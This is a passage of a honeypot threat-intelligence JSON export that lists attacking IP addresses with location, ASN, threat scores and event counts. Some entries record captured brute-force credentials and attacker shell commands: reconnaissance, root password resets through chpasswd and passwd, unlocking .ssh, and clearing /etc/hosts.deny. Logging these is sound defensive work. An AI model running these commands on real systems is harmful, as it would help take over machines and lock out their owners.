        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T18:41:04.154000+00:00",
        "last_seen_30d": "2026-05-02T18:42:26.492000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.106.36.49": {
      "attack_count": 2,
      "first_seen": "2026-05-13T11:34:43.128Z",
      "last_seen": "2026-05-13T11:34:55.947Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeongyang-gun",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T11:34:43.128000+00:00",
        "last_seen_30d": "2026-05-13T11:36:05.955000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.157.69.224": {
      "attack_count": 2,
      "first_seen": "2026-05-18T05:51:12.341Z",
      "last_seen": "2026-05-18T05:51:25.601Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shaoxing",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T05:51:12.341000+00:00",
        "last_seen_30d": "2026-05-18T05:52:35.569000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.116.225.206": {
      "attack_count": 2,
      "first_seen": "2026-05-14T12:16:40.952Z",
      "last_seen": "2026-05-14T12:16:40.953Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cali",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T12:16:40.952000+00:00",
        "last_seen_30d": "2026-05-14T12:17:44.327000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.113.202.192": {
      "attack_count": 2,
      "first_seen": "2026-05-04T10:17:26.681Z",
      "last_seen": "2026-05-04T10:17:39.791Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 49273,
      "as_org": "COSCOM Liability Limited Company",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T10:17:26.681000+00:00",
        "last_seen_30d": "2026-05-04T10:18:46.311000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.127.174.57": {
      "attack_count": 2,
      "first_seen": "2026-05-06T03:02:45.229Z",
      "last_seen": "2026-05-06T03:02:58.336Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Goi\u00e2nia",
      "asn": 270712,
      "as_org": "TOTAL FIBRA INTERNET EIRELI I",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T03:02:45.229000+00:00",
        "last_seen_30d": "2026-05-06T03:03:59.339000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.137.241.23": {
      "attack_count": 2,
      "first_seen": "2026-05-28T03:27:55.451Z",
      "last_seen": "2026-05-28T03:29:55.452Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T03:27:55.451000+00:00",
        "last_seen_30d": "2026-05-28T03:40:40.678000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.94.213.31": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:25:34.989Z",
      "last_seen": "2026-05-23T02:27:34.991Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 8053,
      "as_org": "IFX Networks Venezuela C.A.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:25:34.989000+00:00",
        "last_seen_30d": "2026-05-23T02:29:10.278000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "201.41.74.160": {
      "attack_count": 2,
      "first_seen": "2026-05-07T11:22:48.247Z",
      "last_seen": "2026-05-07T11:23:01.044Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bras\u00edlia",
      "asn": 8167,
      "as_org": "V tal",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T11:22:48.247000+00:00",
        "last_seen_30d": "2026-05-07T11:24:09.507000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.219.74.10": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:26:55.708Z",
      "last_seen": "2026-05-22T23:27:30.507Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:26:55.708000+00:00",
        "last_seen_30d": "2026-05-22T23:28:33.721000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.19.6.51": {
      "attack_count": 2,
      "first_seen": "2026-05-22T05:07:17.243Z",
      "last_seen": "2026-05-22T05:07:30.645Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T05:07:17.243000+00:00",
        "last_seen_30d": "2026-05-22T05:08:34.100000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.22.66.215": {
      "attack_count": 2,
      "first_seen": "2026-05-06T03:51:39.185Z",
      "last_seen": "2026-05-06T03:51:52.867Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T03:51:39.185000+00:00",
        "last_seen_30d": "2026-05-06T03:52:56.534000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.226.160.42": {
      "attack_count": 2,
      "first_seen": "2026-05-24T04:04:47.995Z",
      "last_seen": "2026-05-24T04:06:47.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nicaragua",
      "country_code": "NI",
      "city": "Managua",
      "asn": 267797,
      "as_org": "EMPRESA NACIONAL DE TRANSMISION ELECTRICA ENATREL",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:04:47.995000+00:00",
        "last_seen_30d": "2026-05-24T04:08:24.915000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "47.239.73.143": {
      "attack_count": 2,
      "first_seen": "2026-05-09T08:00:00.949Z",
      "last_seen": "2026-05-09T08:00:00.950Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T08:00:00.949000+00:00",
        "last_seen_30d": "2026-05-09T08:01:09.809000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.252.53.96": {
      "attack_count": 2,
      "first_seen": "2026-05-20T23:05:40.460Z",
      "last_seen": "2026-05-20T23:06:11.085Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T23:05:40.460000+00:00",
        "last_seen_30d": "2026-05-20T23:07:16.911000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.95.32.217": {
      "attack_count": 2,
      "first_seen": "2026-05-08T11:04:00.802Z",
      "last_seen": "2026-05-08T11:04:31.191Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:04:00.802000+00:00",
        "last_seen_30d": "2026-05-08T11:05:37.446000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.231.89.230": {
      "attack_count": 2,
      "first_seen": "2026-05-02T12:29:01.119Z",
      "last_seen": "2026-05-02T12:29:04.124Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 83.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 29,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T12:29:01.119000+00:00",
        "last_seen_30d": "2026-05-30T00:52:00.876000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 133,
        "Honeytrap": 22,
        "Cowrie": 2,
        "Dicompot": 1
      }
    },
    "95.79.34.101": {
      "attack_count": 2,
      "first_seen": "2026-05-17T01:41:14.990Z",
      "last_seen": "2026-05-17T01:43:14.991Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Nizhniy Novgorod",
      "asn": 42682,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T01:41:14.990000+00:00",
        "last_seen_30d": "2026-05-17T01:53:22.953000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "164.68.127.252": {
      "attack_count": 1326,
      "first_seen": "2026-05-02T19:42:54.513Z",
      "last_seen": "2026-05-02T20:07:02.948Z",
      "sessions": 662,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1991,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:42:54.513000+00:00",
        "last_seen_30d": "2026-05-02T20:08:08.409000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1326,
        "Suricata": 665
      }
    },
    "174.127.79.35": {
      "attack_count": 616,
      "first_seen": "2026-05-06T12:17:17.786Z",
      "last_seen": "2026-05-06T17:20:56.774Z",
      "sessions": 308,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 13213,
      "as_org": "Thg Hosting Limited",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 961,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T12:17:17.786000+00:00",
        "last_seen_30d": "2026-05-06T17:22:06.866000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 616,
        "Suricata": 345
      }
    },
    "46.70.206.6": {
      "attack_count": 337,
      "first_seen": "2026-05-23T12:49:03.277Z",
      "last_seen": "2026-05-28T16:59:04.454Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "deployer",
        "ftpuser",
        "sysadmin",
        "tes",
        "user",
        "andrew",
        "asag",
        "auditor",
        "dev",
        "mamad",
        "marketing",
        "odoo",
        "testi"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "12345678",
        "1234567m",
        "Abc.123456",
        "Admin2022!@#",
        "P@ssw0rd",
        "Password1",
        "Q1w2e3r4!",
        "Qweasd123",
        "abc.123456",
        "andrew",
        "asag123",
        "auditor",
        "fjbdfdjkdsfs541544",
        "ftp123",
        "letmein123",
        "live"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123123\\nHf6xHHgeBjmK\\nHf6xHHgeBjmK\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\naCsZWlJsuDsp\\naCsZWlJsuDsp\\n\"|passwd",
        "echo \"tes\\nyCvd87g4YqTJ\\nyCvd87g4YqTJ\\n\"|passwd",
        "echo -e \"123123\\nHf6xHHgeBjmK\\nHf6xHHgeBjmK\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\naCsZWlJsuDsp\\naCsZWlJsuDsp\"|passwd|bash",
        "echo -e \"tes\\nyCvd87g4YqTJ\\nyCvd87g4YqTJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": null,
      "asn": 51693,
      "as_org": "Supercom LLC",
      "threat_score": 38.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 412,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T12:49:03.277000+00:00",
        "last_seen_30d": "2026-05-28T17:00:08.587000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 337,
        "Suricata": 75
      }
    },
    "43.134.141.99": {
      "attack_count": 314,
      "first_seen": "2026-05-17T03:07:05.895Z",
      "last_seen": "2026-05-17T03:39:33.965Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cma",
        "dspace",
        "it",
        "liuyong",
        "oracle",
        "user1",
        "weixifeng",
        "zte"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "20192019",
        "Admin12345@",
        "Asdfghjkl1",
        "Cd123456",
        "QWERqwer123",
        "Server@2024",
        "Sm@123456",
        "Welcome2023!",
        "abc123ABC!@#",
        "abcabc123",
        "cma123",
        "dspace@2025",
        "gaurav",
        "it@123",
        "liuyong",
        "oracle2025",
        "rootuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:RyHEwIFnkaeC\"|chpasswd|bash",
        "echo \"root:eMU3jGFiJlIJ\"|chpasswd|bash",
        "echo \"root:rsBSZhihlWhb\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 377,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:07:05.895000+00:00",
        "last_seen_30d": "2026-05-17T03:40:43.467000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 314,
        "Suricata": 63
      }
    },
    "45.137.172.116": {
      "attack_count": 272,
      "first_seen": "2026-05-23T15:46:41.004Z",
      "last_seen": "2026-05-25T03:15:33.367Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "joao",
        "aroot",
        "bounce",
        "curl",
        "hosting",
        "java",
        "kian",
        "minecraft",
        "new",
        "odoo",
        "rodrigo",
        "root1",
        "znc-admin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "!Q@W3e4r",
        "1",
        "112233",
        "12!@qwQW",
        "123..com",
        "123123",
        "123456",
        "12345Qwerty",
        "1Qazxsw23edc",
        "1qaz2wsx#EDC$RFV",
        "1qw2!QW@",
        "Ab123123",
        "Minecraft",
        "P@$$word123456",
        "QWEqwe123!@#",
        "Qwe123456789",
        "Wangsu@2017"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:evD5YH4glRtj\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Austria",
      "country_code": "AT",
      "city": "Ostermiething",
      "asn": 44076,
      "as_org": "INTAC Services GmbH",
      "threat_score": 32.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 364,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T15:46:41.004000+00:00",
        "last_seen_30d": "2026-05-25T03:16:41.023000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 272,
        "Suricata": 92
      }
    },
    "172.185.24.228": {
      "attack_count": 243,
      "first_seen": "2026-05-21T02:07:25.754Z",
      "last_seen": "2026-05-21T02:38:46.664Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ganesh",
        "sonar",
        "aapanel",
        "kakao",
        "manager",
        "nodemon",
        "qingcloud",
        "rajesh",
        "test",
        "wangmin",
        "yangwei",
        "yin"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "19890101",
        "2003",
        "Dd112211",
        "aapanel",
        "ganesh",
        "kakao",
        "meilishuo",
        "money",
        "nodemon",
        "password",
        "qingcloud",
        "rajesh",
        "server2024",
        "sonar",
        "tielu",
        "wzry888",
        "xserver"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
